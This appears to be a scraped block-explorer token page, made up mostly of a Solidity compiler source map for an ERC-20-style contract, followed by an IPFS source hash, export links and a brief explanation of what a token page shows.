13974:4370:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15666:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17386:137;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;17386:137:0;1004:187:1;14496:41:0;;;;;-1:-1:-1;;;;;14496:41:0;;;;;;-1:-1:-1;;;;;1386:32:1;;;1368:51;;1356:2;1341:18;14496:41:0;1196:229:1;16058:86:0;16129:7;;16058:86;;;1576:25:1;;;1564:2;1549:18;16058:86:0;1430:177:1;17579:279:0;;;;;;:::i;:::-;;:::i;15849:79::-;15917:3;;;;15849:79;;16152:104;;;;;;:::i;:::-;-1:-1:-1;;;;;16236:12:0;16209:7;16236:12;;;:3;:12;;;;;;;16152:104;7676:94;;;:::i;:::-;;7025:87;7071:7;7098:6;-1:-1:-1;;;;;7098:6:0;7025:87;;15757:84;;;:::i;17866:163::-;;;;;;:::i;:::-;;:::i;16264:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;16363:18:0;;;16336:7;16363:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16264:134;7925:192;;;;;;:::i;:::-;;:::i;15666:83::-;15703:13;15736:5;15729:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15666:83;:::o;17386:137::-;17454:4;17478:37;17487:10;17499:7;17508:6;17478:8;:37::i;:::-;17471:44;;17386:137;;;;;:::o;17579:279::-;17704:4;17721:41;17736:6;17744:9;17755:6;17721:14;:41::i;:::-;-1:-1:-1;;;;;17809:19:0;;;;;;:11;:19;;;;;;;;17797:10;17809:31;;;;;;;;;17780:70;;17789:6;;17809:40;;17843:6;;17809:40;:::i;:::-;17780:8;:70::i;:::-;17773:77;17579:279;-1:-1:-1;;;;17579:279:0:o;7676:94::-;7071:7;7098:6;-1:-1:-1;;;;;7098:6:0;5924:10;7245:23;7237:68;;;;-1:-1:-1;;;7237:68:0;;3461:2:1;7237:68:0;;;3443:21:1;;;3480:18;;;3473:30;3539:34;3519:18;;;3512:62;3591:18;;7237:68:0;;;;;;;;;7741:21:::1;7759:1;7741:9;:21::i;:::-;7676:94::o:0;15757:84::-;15796:13;15829:4;15822:11;;;;;:::i;17866:163::-;17937:4;17954:45;17969:10;17981:9;17992:6;17954:14;:45::i;:::-;-1:-1:-1;18017:4:0;17866:163;;;;:::o;7925:192::-;7071:7;7098:6;-1:-1:-1;;;;;7098:6:0;5924:10;7245:23;7237:68;;;;-1:-1:-1;;;7237:68:0;;3461:2:1;7237:68:0;;;3443:21:1;;;3480:18;;;3473:30;3539:34;3519:18;;;3512:62;3591:18;;7237:68:0;3259:356:1;7237:68:0;-1:-1:-1;;;;;8014:22:0;::::1;8006:73;;;::::0;-1:-1:-1;;;8006:73:0;;3822:2:1;8006:73:0::1;::::0;::::1;3804:21:1::0;3861:2;3841:18;;;3834:30;3900:34;3880:18;;;3873:62;-1:-1:-1;;;3951:18:1;;;3944:36;3997:19;;8006:73:0::1;3620:402:1::0;8006:73:0::1;8090:19;8100:8;8090:9;:19::i;:::-;7925:192:::0;:::o;18037:304::-;18154:4;-1:-1:-1;;;;;18179:19:0;;;;;;:44;;-1:-1:-1;;;;;;18202:21:0;;;;18179:44;18171:93;;;;-1:-1:-1;;;18171:93:0;;4229:2:1;18171:93:0;;;4211:21:1;4268:2;4248:18;;;4241:30;4307:34;4287:18;;;4280:62;-1:-1:-1;;;4358:18:1;;;4351:34;4402:19;;18171:93:0;4027:400:1;18171:93:0;-1:-1:-1;;;;;;18275:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;18329:4;;18037:304::o;16406:579::-;16530:4;;;-1:-1:-1;;16523:18:0;;16530:4;;;;-1:-1:-1;;;;;16530:4:0;;;:11;;;;16523:18;;;;;;;16559:4;16558:5;:22;;;;-1:-1:-1;;;;;;16567:8:0;;;;;;:3;:8;;;;;;:13;16558:22;:38;;;;-1:-1:-1;;;;;;16584:8:0;;16595:1;16584:8;;;:3;:8;;;;;;:12;;16558:38;16554:86;;;16625:3;;-1:-1:-1;;;;;16613:8:0;;16625:3;16613:8;;;:3;:8;;;;;:15;;16625:3;;;;;16613:8;;16625:3;16613:15;;16625:3;;16613:15;:::i;:::-;;;;-1:-1:-1;;16554:86:0;-1:-1:-1;;;;;16655:8:0;;16667:1;16655:8;;;:3;:8;;;;;;16652:59;;16702:3;-1:-1:-1;;;;;16688:23:0;16697:3;-1:-1:-1;;;;;16688:23:0;;16707:3;16688:23;;;;1576:25:1;;1564:2;1549:18;;1430:177;16688:23:0;;;;;;;;16652:59;16736:3;;16730:9;;:3;:9;:::i;:::-;16724:3;:15;-1:-1:-1;;;;;16756:8:0;;;;;;:3;:8;;;;;;:13;;16752:61;;-1:-1:-1;;;;;16786:8:0;;;;;;:3;:8;;;;;:15;;16798:3;;16786:8;:15;;16798:3;;16786:15;:::i;:::-;;;;-1:-1:-1;;16752:61:0;16838:3;;16832;;:9;;;;:::i;:::-;16825:4;:16;;;16861:4;;;16854;:11;;-1:-1:-1;;;;;16861:4:0;;;-1:-1:-1;;;;;;16854:11:0;;;;;;;16878:10;;;;;;;;;16901:11;;;;:::i;:::-;16936:3;;16927:4;;-1:-1:-1;;;;;16927:4:0;16936:3;16923:9;;;:3;:9;;;;;:16;;16901:11;;-1:-1:-1;16936:3:0;;;;;16923:16;;16936:3;;16923:16;:::i;:::-;;;;-1:-1:-1;;;;;;;16950:8:0;;;;;;:3;:8;;;;;:15;;16962:3;;16950:8;:15;;16962:3;;16950:15;:::i;:::-;;;;-1:-1:-1;;;;;16406:579:0:o;8125:173::-;8181:16;8200:6;;-1:-1:-1;;;;;8217:17:0;;;-1:-1:-1;;;;;;8217:17:0;;;;;;8250:40;;8200:6;;;;;;;8250:40;;8181:16;8250:40;8170:128;8125:173;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1612:328::-;1689:6;1697;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1797:29;1816:9;1797:29;:::i;:::-;1787:39;;1845:38;1879:2;1868:9;1864:18;1845:38;:::i;:::-;1835:48;;1930:2;1919:9;1915:18;1902:32;1892:42;;1612:328;;;;;:::o;1945:186::-;2004:6;2057:2;2045:9;2036:7;2032:23;2028:32;2025:52;;;2073:1;2070;2063:12;2025:52;2096:29;2115:9;2096:29;:::i;2344:260::-;2412:6;2420;2473:2;2461:9;2452:7;2448:23;2444:32;2441:52;;;2489:1;2486;2479:12;2441:52;2512:29;2531:9;2512:29;:::i;:::-;2502:39;;2560:38;2594:2;2583:9;2579:18;2560:38;:::i;:::-;2550:48;;2344:260;;;;;:::o;2609:380::-;2688:1;2684:12;;;;2731;;;2752:61;;2806:4;2798:6;2794:17;2784:27;;2752:61;2859:2;2851:6;2848:14;2828:18;2825:38;2822:161;;2905:10;2900:3;2896:20;2893:1;2886:31;2940:4;2937:1;2930:15;2968:4;2965:1;2958:15;2822:161;;2609:380;;;:::o;2994:127::-;3055:10;3050:3;3046:20;3043:1;3036:31;3086:4;3083:1;3076:15;3110:4;3107:1;3100:15;3126:128;3193:9;;;3214:11;;;3211:37;;;3228:18;;:::i;4432:168::-;4505:9;;;4536;;4553:15;;;4547:22;;4533:37;4523:71;;4574:18;;:::i;4605:217::-;4645:1;4671;4661:132;;4715:10;4710:3;4706:20;4703:1;4696:31;4750:4;4747:1;4740:15;4778:4;4775:1;4768:15;4661:132;-1:-1:-1;4807:9:1;;4605:217::o;4827:125::-;4892:9;;;4913:10;;;4910:36;;;4926:18;;:::i

Swarm Source

ipfs://c0d3a39eabb6d26b9ba2c9d6b2bd0cc7f90739d6a96406a6e737626ae9888233
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.